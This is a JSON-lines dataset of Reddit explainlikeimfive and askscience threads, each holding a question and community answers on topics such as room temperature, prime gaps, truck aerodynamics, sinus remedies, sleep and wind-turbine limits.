{"q_id": "1kr23k", "title": "why is 70\u00b0f (21.1\u00b0c) considered \"room temperature\"?", "selftext": "I understand that it is generally considered to be most comfortable, not too hot or too cold, but why that particular temperature? why not colder, or better yet, closer to the normal body temperature?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kr23k/eli5_why_is_70f_211c_considered_room_temperature/", "answers": {"a_id": ["cbrrd6h"], "score": [8], "text": ["Your body produces heat on its own from the energy you use to live. If the air is at body temperature, your body keeps producing heat and can no longer easily get rid of it. You begin to feel warm, and your body starts sweating because evaporating water transfers heat much better than the air. If its 100% humidity and the air can't accept any more water, you can suffer heat stroke and die. \n\nConversely, if it's cold, the air is removing heat from you body too quickly. Your body will constrict blood vessels to keep your insides warm, shiver, and generally try to make up for the heat loss or you suffer hypothermia and die.\n\nRoom temperature is when your body can comfortably maintain its temperature by dumping heat into the air without resorting to measures like sweating or shivering. Different people have different temperatures that they are most comfortable. Someone who is extremely overweight might be more comfortable at 65F, and someone extremely thin or sick might be comfortable at 75F, but ~70F / 21C is about average."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "iscar", "title": "What happens to space probes when they complete their mission?", "selftext": "I was just reading about the spacecraft Dawn, currently on a mission to Vesta and Ceres, and noticed that its mission ends in July 2015. What will happen to it after that? Will it stay in orbit around Ceres? Will all of its systems just be shut down and it left to smash into the first object it comes across?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iscar/what_happens_to_space_probes_when_they_complete/", "answers": {"a_id": ["c268v7d", "c26908x", "c269lrm"], "score": [3, 7, 29], "text": ["They become satellite lobbyists. ", "If funding exists, then usually the mission is extended. The Spirit rover on Mars got at least five extensions. Sometimes, just like the ARTEMIS mission, the new mission is completely different than the last one. This usually continues until the probe fails.", "[they come back to kill Admiral James T. Kirk](_URL_1_).\n\nanyway, many previous missions have just been extended after their completion.\n\n* Voyager [1](_URL_2_) and [2](_URL_0_) are still sending back data\n\n* Pioneer [10](_URL_5_) and [11](_URL_6_) were extend 20-ish years\n\n* at least one of [the other Pioneer probes](_URL_4_) is still active\n\n* [Ulysses](_URL_3_) got extended 4 times\n\n* [Cassini-Huygens](_URL_7_) is still going until 2017\n\n* [New Horizons](_URL_9_) will investigate the Kuiper Belt\n\n* etc. etc.\n\nhowever, Dawn won't be headed on to further reaches of space. [on NASA's FAQ page](_URL_8_) (click the question about extended mission), they state they'll just hang around Vesta and Ceres."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Voyager_2#Current_status", "http://en.wikipedia.org/wiki/Star_Trek:_The_Motion_Picture", "http://en.wikipedia.org/wiki/Voyager_1#Current_status", "http://en.wikipedia.org/wiki/Ulysses_(spacecraft\\)#Extended_mission", "http://en.wikipedia.org/wiki/Pioneer_6,_7,_8,_and_9#Time_line_and_current_status", "http://en.wikipedia.org/wiki/Pioneer_10#Deep_space", "http://en.wikipedia.org/wiki/Pioneer_11#Interstellar_mission", "http://en.wikipedia.org/wiki/Cassini\u2013Huygens#Mission_extension", "http://dawn.jpl.nasa.gov/mission/faqs.asp#", "http://en.wikipedia.org/wiki/New_Horizons#Kuiper-belt_mission"]]}
{"q_id": "coup98", "title": "why are detectives called gumshoes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/coup98/eli5_why_are_detectives_called_gumshoes/", "answers": {"a_id": ["ewlb9mx", "ewlbajz"], "score": [8, 5], "text": ["\u201cShoes in the late 1800s were made of gum rubber - the soft-soled precursors of the modern sneaker. The phrase \"to gumshoe\" meant to sneak around quietly as if wearing gumshoes.\u201d\n\nOriginally it was a phrase used for thieves but then it got stuck on as a phrase for detectives instead.\n\n-source: Urban Dictionary", "The term was originally applied to the thieves they were trying to catch who wore soft rubber shoes not unlike modern day sneakers in order to commit their crimes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5m4lnp", "title": "how beard oil actually works if it does", "selftext": "Especially for a person that grows almost no facial hair. Does it even work? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5m4lnp/eli5how_beard_oil_actually_works_if_it_does/", "answers": {"a_id": ["dc0sa0p"], "score": [11], "text": ["Beard oil doesn't make you grow more hair. It keep the skin under the hair moisturized and keeps the hair silkier and less rough-feeling. Any claims that it'll cause you to grow more hair are BS. It will simply keep your existing hair in better condition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4k1gs7", "title": "Would headphones tangle in space?", "selftext": "My guess is that the weight of the cables in a confined space (eg a pocket) acts on tangling them. If they are confined when they are weightless would the cable not just stay separated? Entropy? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4k1gs7/would_headphones_tangle_in_space/", "answers": {"a_id": ["d3bde7f", "d3bfmhd", "d3bhiep", "d3bnkd0"], "score": [1866, 214, 20, 15], "text": ["It's not the weight, but the shaking that makes them tangle. It turns out ropes in confined space tangle when shaken. The knotting probability over length of rope and time of shaking was studied for example in [this paper](_URL_0_).", "When in your pocket the headphones are jumbled into a variety of states. If the current state does not result in a knot, then it is untangled next jumble. If it *does* however form a knot, it will not untangle next jumble. So over time you end up 'breeding' a completely knotted headphone cable. \n\nRandom change with selection pressure, almost like evolution!", "Way less so, but for entirely different reasons.\n\nMovements of your body - shaking, walking, other things moving around, your body rubbing against the pocket - that's what bunches up your headphone cables. Not gravity.\n\nIn space, you need very little force to move around. A light gesture sends you \"flying\" in desired direction. If you move too hard, you'll keep crashing, spinning, hurting yourself.\n\nAs result, you stress the headphones much less - less movement means less tangling.\n\nOf course that is not the case during the obligatory exercises in the special \"gym equipment\". In that case, better put the music on, because your headphones would tangle just about as badly - or just \"crawl\" out of your pocket and fly away...", "They would still tangle. If both you and the cord were *perfectly* still, no knot would form as there is no motion. However, once moved, the cords  will continue spinning around themselves for however long they have energy.\n\nIn fact, I'd imagine they may knot *worse* in space, as they'll never really come to rest on the ground or in a pocket."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://m.pnas.org/content/104/42/16432.abstract"], [], [], []]}
{"q_id": "44d6nm", "title": "the tppa controversy", "selftext": "What is the TPPA and why are so many people, especially the Maori upset over it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44d6nm/eli5_the_tppa_controversy/", "answers": {"a_id": ["czpn9q4"], "score": [3], "text": ["It's 5400 pages of coniving wrought out of public view. Lack of transparency is how things are done these days. I haven't read it, but as a fan of the constituion, separation of powers and so forth, I believe the treaty delegates power to make laws away from congress. Congress delegating it's power to make law is nothing new. Look if you can argue the consequences of an impotent congress, then you will understand why it is bad deal. I find a lot of well educated Reditors to be a fan of weak congress and a fan of the administrative state making laws, so they probably have no problem with some international administrator making the laws and regulations that we the people must follow. Taxation without representation Yada yada. But this is just my hunch based on hearsay. No links offered."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zem3i", "title": "Can the intervals between primes be described?", "selftext": "I was looking at a list of the first 1,000,000 prime numbers and realized that most of them are pretty close to each other (the interval between consecutive prime numbers is less than 10ish). My first guess would have been that the higher up you go, the greater the interval between primes would be, as there would be more potential numbers preceding that could be divisors. I then looked at a [list](_URL_0_) up to the 50 millionth prime number. Around this point, the interval is about 20ish between consecutive prime numbers (still smaller than I might have thought). Is there any analysis concerning the average frequency of prime numbers? Am I wrong to think they should be spaced out further? Are there rigorous (ones I won't understand) or nonrigorous (ones I might understand) explanations or discussions on this topic?\nTLDR: I know an exact treatment of the precise intervals between primes is not possible (so that's not my question), but is there a general function which provides a good fit to the average interval between primes versus the magnitude of the prime (from small to very large primes)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2zem3i/can_the_intervals_between_primes_be_described/", "answers": {"a_id": ["cpiaf8i", "cpic6il"], "score": [29, 10], "text": ["There is! And you're correct! [The Prime Number Theorem](_URL_1_) says that the nth prime is about at the location of nlog(n). [Here is a graph of it](_URL_0_). You can see that it increases faster than just a linear function would. The fact that it slightly curves downward is because the primes are showing up less and less often, which is just another way of saying that their average distance is spreading out.\n\nWe usually, however, talk about the number of primes less than some number. In this way, the Prime Number Theorem says that there are n/log(n) primes less than n. [Here's a graph of this](_URL_2_)\n\n\nIf you want to look at the average distance between the primes less than some number, we can look at (N)/(Number of primes less than N). With these formulas, this is:\n\nNlog(N)/N = log(N)\n\nTry it for yourself if you want to. But the value of this at 1,000,000 is about 13.8. So the average distance between primes less than 1,000,000 is 13.8. For 50,000,000 we get 17.7. Your numbers were actually pretty close! (here log means the natural log)", " > Is there any analysis concerning the average frequency of prime numbers?\n\nYes, a very extensive one (see e.g. the links in the other response here).\n\n >   is there a general function which provides a good fit to the average interval between primes versus the magnitude of the prime\n\nNo! This is an entirely different and even harder question. It is easy to prove that the intervals can be arbitrarily large: consider n!+2, n!+3, ..., n!+n (where n!=1x2x3x...xn) - they are all composite, so here we have an interval between two primes of length at least (n-1) (because the largest prime below n!+2 and the smallest prime above n!+n should be consecutive primes) - and n can be as big as you want.\n\nIt's very hard but possible to prove (it was done a year ago by [Zhang](_URL_0_)) that the size of gaps does not just grow indefinitely, i.e. there are infinitely many consecutive primes less than a fixed distance (say at most 10 000) apart. There is also a conjecture that this bound can be decreased to 2, called \"twin prime hypothesis\".\n\nThese questions are very hard, for example it's still not proven that there is a prime between any two consecutive squares (like 1, 4, 9, 16, 25, ...)."]}, "title_urls": [], "selftext_urls": ["https://primes.utm.edu/lists/small/millions/"], "answers_urls": [["http://www.wolframalpha.com/input/?i=xlog%28x%29+for+2%3C%3Dx%3C%3D1000", "http://en.wikipedia.org/wiki/Prime_number_theorem", "http://www.wolframalpha.com/input/?i=x%2Flog%28x%29+for+2%3C%3Dx%3C%3D1000"], ["https://www.google.com/webhp?sourceid=chrome-instant&amp;rlz=1C1AVNA_enUS610US610&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=zhang%20prime%20gap"]]}
{"q_id": "mm8nt", "title": "What exactly is the \"hot dense state\" of the big bang?", "selftext": "While trying to come to better grips with the big bang theory, I was perplexed by how all matter took the form of radiation.(Is this view mistaken?) Later this radiation cooled down and formed matter as we know it today. Initially, I thought the energy would be something like electromagnetic radiation, but as far as I know it doesn't cool nor turn into matter. \n\nAs an aside, I really enjoy learning something new from this subreddit every day. Thank you to everyone that contributes.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mm8nt/what_exactly_is_the_hot_dense_state_of_the_big/", "answers": {"a_id": ["c322aa1", "c322aa1"], "score": [7, 7], "text": ["It's not really certain. Our current understanding of physics doesn't go arbitrarily close to \"t=0\" if you will. It gets pretty darned close, but not all the way there. Anyways, if it continues as we expect, then the present separate fields may be more \"unified\" at higher energy densities, they may appear not distinguishable from each other. So essentially the \"hot dense state\" is just very high energy density stored up in some sort of primordial field(s), that then began to cool down and distinguish themselves from each other as symmetries were broken. Then, fairly quickly they begin to evolve along patterns we understand physically right now.", "It's not really certain. Our current understanding of physics doesn't go arbitrarily close to \"t=0\" if you will. It gets pretty darned close, but not all the way there. Anyways, if it continues as we expect, then the present separate fields may be more \"unified\" at higher energy densities, they may appear not distinguishable from each other. So essentially the \"hot dense state\" is just very high energy density stored up in some sort of primordial field(s), that then began to cool down and distinguish themselves from each other as symmetries were broken. Then, fairly quickly they begin to evolve along patterns we understand physically right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3ee2mv", "title": "how do the flaps on the back of a semi make them more fuel efficient and how long before they pay for themselves?", "selftext": "I always see these _URL_0_ when driving, and I want to understand how much the investment is, and if it is worth it.  Also, how it works in general.  Thank you.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ee2mv/eli5how_do_the_flaps_on_the_back_of_a_semi_make/", "answers": {"a_id": ["cte1mu5", "cte57s5", "cte78xr", "cte9l8m", "ctecarl"], "score": [71, 15, 2, 16, 3], "text": ["They help direct airflow around and under the trailer. I've pulled a few trailers that had them and seen a 10-20% increase in fuel economy. It doesn't sound like much, but burning 200 gallons a day as opposed to 250 saves a lot of money. The trailers I've pulled with them were provided by the customer, so I'm not sure how much the system costs, but they do work.", "So, when we calculate aerodynamic drag, there are really two separate forces we're concerned about; viscous drag, and pressure drag. Viscous drag is just the drag you get from the \"stickiness\" of the fluid, and isn't really important here. This is entirely pressure drag.\n\nWhen you have an object moving through a fluid, the fluid tends to build up on the leading edge, causing an increase in density and pressure as the fluid molecules try their damndest to get out of the way. Similarly, immediately behind the object, you have fluid molecules rushing into the space previously occupied by the moving object. This space will inherently have a lower density, and thus a lower pressure. You can honestly think of this as the fluid field in the wake of the object trying to suck the object backwards.\n\nLet's say that the net pressure drag is the difference in pressure across the body (it's not; we also have to consider other factors like geometry, but that's not worth it here). The larger the difference, the more pressure drag you'll experience. In the truck (without the fins), lets say that the front experiences a pressure of 15.0 psi, while the rear has a pressure of 14.4 psi, causing a net difference in 0.6 psi.\n\nNow, the point of the fins is to deal with the pressure drag at the back. In effect, they work to bring the airflow back together more gently, rather than just leaving a vacant space for the air to rush into chaotically. The result of this is that the density and pressure are more similar to that of the ambient air the truck is moving through, so there is less \"suction\" holding the truck back. So, while the front is still experiencing a pressure of 15.0 psi, the rear is now at a higher pressure (say, 14.6, just below ambient). The net difference is now only 0.4 psi across the truck, and so the truck will experience less drag, increasing overall fuel economy as it takes less power to push the truck down the road through the air.", "Behind every object moving in a fluid (like air), there is a low pressure zone. In front of the same object will be a corresponding high pressure zone (since the air can't get out of the way of the object, it compresses).The back of the object is typically in contact with the low pressure area. Likewise, the front of the object is in contact with the high pressure zone. \n\nSince Pressure=force/area in contact with the pressure in question, Force pushing on the object=pressure*area. Using this force equation, it is easy to see that the force \"pulling\" backwards on the object is lower if the area of the low pressure zone is smaller. \n\nOne more concept: turbulent flow vs. Laminar flow. Larminar flow is smooth and organized, like water pouring over the spillway of a rounded dam. Turbulent flow is disorganized and chaotic, like billowing smoke. Turbulent flow is inherently at a lower pressure than laminar flow. On every moving object in a fluid, there is a point on the surface of the object where the fluid passing over the object goes from being laminar to being turbulent. Beyond this transition point, the fluid pressure is lower than before the transition point. \n\nThe fins on big trucks work by pushing the transition point towards the rear of the truck. This decreases the area of the truck in contact with the low pressure area (since turbulence tends to propigate outwards), and therefore decreases the force pulling backwards on the truck. ", "Ball park is 2k for tail and another 2-2.5 for side skirts. They will net 4-5% better mileage for each one. Maybe more for both together. You can also buy trailer axle fairings as well, which I've never used. The skirt and tail can save 9-10k in fuel costs over a year, which makes them a no brainer for a smart driver. I did my math as: 700mi/day \u00f7 7.5mi/gal * 330 days driven/year. Other ways to save fuel would be adding tractor fairings to close down ground clearance and the gap between tractor and trailer, running aluminum rims with super single tires, pulling a newer aluminum trailer, and the biggest has to be slowing down!! My truck sits at 62 with all the aforementioned (except a tail, I pull a flatbed) and I can routinely average 8-8.5mpg on flat ground. ", "These fins are not keeping the flow from transitioning to turbulence. The flow is very turbulent. (Check the Reynold's number you scientists!) In fact, laminar flows are often associated with higher form drag (see: why golf balls are dimpled), which wouldn't be desirable. More drag = higher fuel costs.\n\nThe flaps are aerodynamically easing the flow around the blunt rear end of the truck. This reduces the size of the recirculated air pocket behind the truck, which is low pressure and effectively \"sucking\" the truck backwards from its direction of motion.\n\n"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/t7LZMYM.jpg"], "answers_urls": [[], [], [], [], []]}
{"q_id": "cx1lyv", "title": "why are the serving sizes of supplements inconsistent?", "selftext": "For example I have two bottles of St Johns Wart. The first is 300mg and serving size is one pill, while the other bottle is 1100mg and serving size is two pills.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cx1lyv/eli5_why_are_the_serving_sizes_of_supplements/", "answers": {"a_id": ["eyhl32x", "eyhyi41", "eyim307"], "score": [6, 4, 3], "text": ["Because there's no established \"daily value\" of St Johns Wart and many other supplements like there would be for vitamins and minerals, what information does exist about these things tends to completely vary on what you're trying to accomplish, and supplements aren't really regulated like medicine or food.", "The supplement industry is unregulated and exists largely to con people out of money. St John's Wart in particular is dangerous for this reason since companies are just guesstimating the dosage of an herb with actual antidepressant properties (unlike most supplements which are just expensive placebos) without any evidence or medical indication whatsoever.\n\n_URL_0_", "Others have already given you the right answer, but just some extra info, tell your doctor if you're taking St. John's wort. It has many interactions with other medicines and it is important your doctor is aware of this before administering or prescribing medications."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://sciencebasedmedicine.org/the-supplement-con/"], []]}
{"q_id": "bnz4gu", "title": "why wouldn\u2019t flushing my sinuses out with listerine or a similarly germ-killing substance cure a sinus infection?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bnz4gu/eli5_why_wouldnt_flushing_my_sinuses_out_with/", "answers": {"a_id": ["enamwi8", "enaobv8", "enaonlw", "enap8cx", "enaryst", "enbagye"], "score": [13, 17, 5, 6, 3, 2], "text": ["It would irritate, inflame, and possibly irreversibly damage your sinuses far worse than the infection would. Only irrigate your sinuses with a saline solution so it doesn't further inflame your sinuses and damage the mucous membranes\n\nI understand it's painful, but netipots, nose sprays, and if needed, antibiotics, are the way to go. Talk to your doctor about it", "Maybe take a bottle of listerine, peel the cap back, put it up really close to your nostrils and take a really deep sniff. Now imagine that burning sensation behind your eyes burning your face off from the inside. Good times. \u201cJust like your aftershave detective Friday \u201c.", "part of the difficulty with any medical intervention is that the human body isn't that different from the thing we're trying to kill. literal Listerine in your sinuses would likely permanently damage  them.\n\ntreatments similar to what you describe do exist, but they are only used in severe cases. they are expensive, profoundly unpleasant for the patient, and risk long-term damage due to the sensitivity of the sinuses and the closed-off space the doctor has to work in. it's also not terrifically effective. again because your sinuses can't tolerate the direct application of concentrated medications, and also because putting anything up there risks introducing outside infection, many of which are worse than whatever is causing the sinus infection.", "Oh my god are you my patient from last week who was snorting listerine? Please put the mouthwash down and go back to your asthma medications. I promise you, I am not just saying this to rain on your home remedy parade. That stuff is so irritating to the delicate tissues in your sinus cavities and irritated tissue is more susceptible to secondary infection by bacteria and viruses.", "Phew. Legit, my patient was snorting listerine into his sinuses and lungs. Unsurprisingly, he had a terrible cough and some nose bleeds. Was also drinking colloidal silver (which will turn your skin smurf blue, permanently). When I told him he had to stop, he said \u201cI can\u2019t make any promises.\u201d \ud83d\ude2d", "It does cure the sinus infection but it causes more harm than good. If it\u2019s hard for you to understand why Listerine would be bad, imagine using bleach instead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1gq0kb", "title": "multi-verse theory", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gq0kb/eli5_multiverse_theory/", "answers": {"a_id": ["camqk3q", "camu80n"], "score": [2, 2], "text": ["You're going to have to be more specific. There are many theories involving a multiverse. Did you mean the many-worlds interpretation?", "There is no such thing as a multiverse theory.  What you mean, I think, is the many worlds interpretation (MWI) of quantum mechanics.\n\nBasically, the story is this: you have a set of maths that accurately describe experimental data, but you can't decide how to interpret the maths.  The word *interpret* is key.  The most common interpretation is the Copenhagen interpretation, which says that a particle's wavefuncton \"collapses\" when measured or observed.\n\nNow you probably want to know what is a wavefunction.  Well, the wavefunction is a mathematical description of the *probability* of finding a particle in a given state.  It\u2019s what Schr\u00f6dinger's equation is about, which you\u2019ve probably seen plastered over physics posters and pop-science telly in the form *E\u03c8*=*H\u03c8*.  The Greek letter *\u03c8* is the wavefunction.  Solving the equation means trying to find what *\u03c8* is.  If you know *\u03c8*, you can use it to find the probability that you'll find that particle in a given bit of space.  But that\u2019s not all; the wavefunction contains all the physically important properties of a system, too.\n\nSo what\u2019s the big deal?  Well, since the wavefunction is continuous and mathematically permeates all space, its interpretation yields the extraordinary result that everywhere in space there is a finite probability of finding the particle.  Think of it as an asymptotic probability curve infinitely tending towards zero but never quite reaching it.  In other words, for every point in space, there's a value representing the density of probability that the particle will be found at that point.  If that value is greater than zero, you *can* find the particle there.\n\nSo, instead of particles, extend this to everything you see in front of you.  Why is everything where you see it and not where it could have been?  (I can't believe a typed that, but it is ELI5.)  That's where the differences in interpretation come in.  According to the Copenhagen interpretation, you find things in places where their probability density is higher, and once you've found something somewhere its wavefunction has \"collapsed\" and there is no longer the probability of finding that something somewhere else.  According to the MWI, on the other hand, wavefunctions don't collapse and, instead, every probable outcome is realised in another universe.\n\nPersonally, I think it's daft.  There is absolutely zero possibility that the many worlds interpretation could ever be tested experimentally.  If \"another universe\" exists and we're someday able to tell it, then it's not \"another universe\" at all, is it?  It's part of the one universe that exists.\n\nIn any case, it really doesn't matter which interpretation you choose.  To my mind, it's arbitrary.  But the maths, as far as I know, is undisputed and independent of your interpretation.  Predictions of the Schr\u00f6dinger equation for atoms and molecules have been *confirmed without exception*.\n\nAlso, if I may add: whenever someone talks to you about an *interpretation* of some aspect of physics, they aren't telling you anything about the world.  They are telling you what they *think* about the world.  In other words, there is no science here.  This is just philosophy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "hn4di", "title": "Does an egg contain other structures such mitochondria and ribosomes.  ", "selftext": "If so why can't we see it. If not then why not?\nedit: I meant chicken egg. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hn4di/does_an_egg_contain_other_structures_such/", "answers": {"a_id": ["c1wpwio"], "score": [2], "text": ["If you are talking about an egg as in ovum, then the answer is yes. If you are talking about a chicken egg, then the answer is also yes. \n\nIn the case of the human egg, you [can see them](_URL_2_), but they show up poorly with light microscopy, so you need to use an [electron microscope](_URL_1_) to see them (all those dots in that picture are ribosomes). All your mitochondria come from your mother, which means they can use this to [trace maternal lineages](_URL_0_). It also means there are certain diseases that you can only inherit [from your mother](_URL_3_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mitochondrial_Eve", "http://upload.wikimedia.org/wikipedia/commons/c/c2/Clara_cell_lung_-_TEM.jpg", "http://en.wikipedia.org/wiki/File:Mitochondria,_mammalian_lung_-_TEM.jpg", "http://en.wikipedia.org/wiki/MELAS"]]}
{"q_id": "apj4sy", "title": "what exactly is the brain doing during sleep that\u2019s so important that it has to spend 1/3rd of your life doing it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/apj4sy/eli5_what_exactly_is_the_brain_doing_during_sleep/", "answers": {"a_id": ["eg8s3r6", "eg8u3rb", "eg8udm8"], "score": [35, 10, 3], "text": ["1. It's making repairs to all of our little brain roads.\n2. Waste management, it flushes out all of the garbage (proteins).", "This isn\u2019t exactly a eli5, but I really like the quote from the book why we sleep:\n\n\u201cRoutinely sleeping less than six or seven hours a night demolishes your immune system, more than doubling your risk of cancer. Insufficient sleep is a key lifestyle factor determining whether or not you will develop Alzheimer's disease. Inadequate sleep -- even moderate reductions for just one week -- disrupts blood sugar levels so profoundly that you would be classified as pre-diabetic. Short sleeping increases the likelihood of your coronary arteries becoming blocked and brittle, setting you on a path toward cardiovascular disease, stroke, and congestive heart failure. Fitting Charlotte Brontes prophetic wisdom that 'a ruffled mind makes a restless pillow; sleep disruption further contributes to all major psychiatric conditions, including depression, anxiety, and suicidality.\u201d", "Imagine a male office worker. Most of the time he is very busy doing important work things, and sometimes papers aren't filed in the right spot if at all, there are paper clips scattered about among other debris, and he's quite hungry. So when he gets to the end of the shift, he organizes things: putting files where they go (dreams and memory storage), cleaning up the debris (free radicals, and other brain waste build up), and restocks his desk with handy little snacks for when the noodle trough just isn't enough (localized sugar supplies for intense activities or growth).\n\nTaking the time to clean house and take a little break makes the office worker more productive and allows him to focus on the task at hand so he doesn't have to move 3 days of burrito wrappers to try to find that expense report"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4shgke", "title": "Why does gold \"Blink\" when it solidifies?", "selftext": "I was watching [this](_URL_0_)  &  i was kinda shocked about the little blink gold does when it solidifies. Is this common amongst other metals? Why does it do that? im guessing it has to do with conductivity", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4shgke/why_does_gold_blink_when_it_solidifies/", "answers": {"a_id": ["d59r5qd", "d59susf", "d59t0sh", "d5a1yzi"], "score": [33, 101, 11, 7], "text": ["The temperature increases slightly when it solidifies. (Solidifying is an exothermic reaction.) It looks like the droplet slowly cools well below the freezing temperature, so it's in a super-cooled state. Something kicks off the freezing reaction and the whole thing freezes rapidly, giving off heat.", "Right before you see the flash, the blob is supercooled. As the blob quickly solidifies, it releases [its latent heat of fusion](_URL_0_). Part of this energy can be released directly as light, explaining the bright flash you see. The energy released can then do two things\n\n1. Part of the energy can be released as light directly. This helps to explain the quick flash you see.\n2. The energy not released as visible light can be absorbed by the solid chunk, increasing its temperature. From the [Stefan-Boltzmann Law](_URL_1_) we know that the power radiated by a thermal emitter per unit area scales as T^(4), where T is the temperature. As a result, the chunk becomes brighter at first before slowly dimming again as it cools down.", "The gold solidifies abruptly at a certain point. Solidifying is an exothermic process.\n\nImagine this: the particles have kinetic energy as a liquid, but as they lose that energy they reach a point at which they \"snap\" into place in the metal lattice and the whole mass becomes solid. The particles have less kinetic energy like that and it has to go somewhere, so the mass heats up, and this heat is released as light.\n", "Here are some other examples of [recalescence](_URL_2_) during solidification of supercooled liquids:\n\n-\n\n* [Cobalt-Palladium](_URL_5_)\n\n* [CaFeMg-pyroxene](_URL_0_)\n\n* [FeMg-pyroxene](_URL_3_)\n\n* [Iron-Cobalt](_URL_4_)\n\n-\n\nBasically, [supercooling](_URL_1_) allows the melt to cool to temperatures below its normal (equilibrium) solidification temperature, thus appearing dark initially.  When crystallization is triggered (by a nucleation process), latent heat is released, which then heats the crystal up to the equilibrium solidification temperature (a.k.a. the melting point), thus making the material glow (due to blackbody radiation). Subsequently, the solidified material cools, getting darker again.  The more supercooling there is before solidification, the faster the crystallization (and flashing)."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/ee_lmZIAwek?t=528"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Enthalpy_of_fusion", "https://en.wikipedia.org/wiki/Stefan%E2%80%93Boltzmann_law"], [], ["https://www.youtube.com/watch?v=5hDGYjfNGCA&amp;t=30", "https://www.reddit.com/r/askscience/comments/4shgke/why_does_gold_blink_when_it_solidifies/d59zejl", "http://www.giessereilexikon.com/en/foundry-lexicon/Encyclopedia/show/recalescence-2882/?cHash=621a0830c54db20538f1c1544d53e973", "https://www.youtube.com/watch?v=mF8IcFwvVy4&amp;t=37", "https://www.youtube.com/watch?v=LZYa2sXeo1o&amp;t=7", "https://www.youtube.com/watch?v=aUt2iYGNnlU&amp;t=11"]]}
{"q_id": "40bjd3", "title": "Have any wind turbines been able to break the Betz limit?", "selftext": "I've seen multiple claims of new wind turbines that due to some characteristic, usually design, can output more energy than traditional wind turbines. Are these all hoaxes?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/40bjd3/have_any_wind_turbines_been_able_to_break_the/", "answers": {"a_id": ["cyswkhr", "cysysik", "cyt2tue", "cyt4mhp"], "score": [81, 43, 2, 14], "text": ["The Betz limit is the theoretical limit. Real wind turbines are not reaching it, [this modern one](_URL_0_) (pdf warning) achieves around 45% max efficiency (compared to the 60% of the Betz limit). But if you look at the efficiency vs wind speed graph you can see that this maximum efficiency happen for a pretty narrow set of conditions (wind speeds of 5 to 8m/s). What unconventional designs often do is that they get their high efficiency regimes at lower wind speeds or they have (allegedly) a wider high efficiency regime.", "No, they can't break the Betz limit as it is a limit in the strictest sense. It is a calculation of the energy extraction efficiency from a flow, and depends on the area of the rotor, as well as the area before and after the rotor. We have an imaginary 'tube' through which the fluid enters at one end, is slowed down by interaction with the rotor, and leaves at the other end. As the flow velocity decreases, the 'tube' widens. There is no flow through the 'walls' in this model.\n\nClaims of breaking the limit usually are nothing more than a marketing gimmick, deliberately underestimating the initial input area and therefore the power of the wind. They either do not understand the theory, of they are lying for money. ", "I took a couple wind turbine courses back when I was an undergrad  (MechEng). My professor told us about how every now and again someone comes up with a crazy design that can in theory break the limit. One example was to have a turbine with 2 roters, one behind the other, so that the second could catch some of the energy lost to the turbulence of the first (the effect is kinda like what happens when geese fly in a V formation). While something like this might work, the reason this has never been built is because the cost and challenge of trying to build the thing would be crazy high and virtually impossible to construct, and thus not worth making.\n\n\nIf you're looking for some more advanced readings on the subject I recommend \"Wind Energy Explained: Theory, Design and Application\" by Manwell, McGowan, and Rogers (the textbook I used for the class)", "Anyone who claims this is likely being creative with their definition of swept area, or how they measure wind speed. For example, using a shroud to force more air through a smaller area, but measuring wind speed outside of that shroud.\n\nEfficiency doesn't really matter, though. Cost per kwh does. If you can make it more cost effective by increasing your system's efficiency fine, otherwise make it bigger or build more of them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.enercon.de/fileadmin/Redakteur/Medien-Portal/broschueren/pdf/ENERCON_E-141_EP4_en.pdf"], [], [], []]}
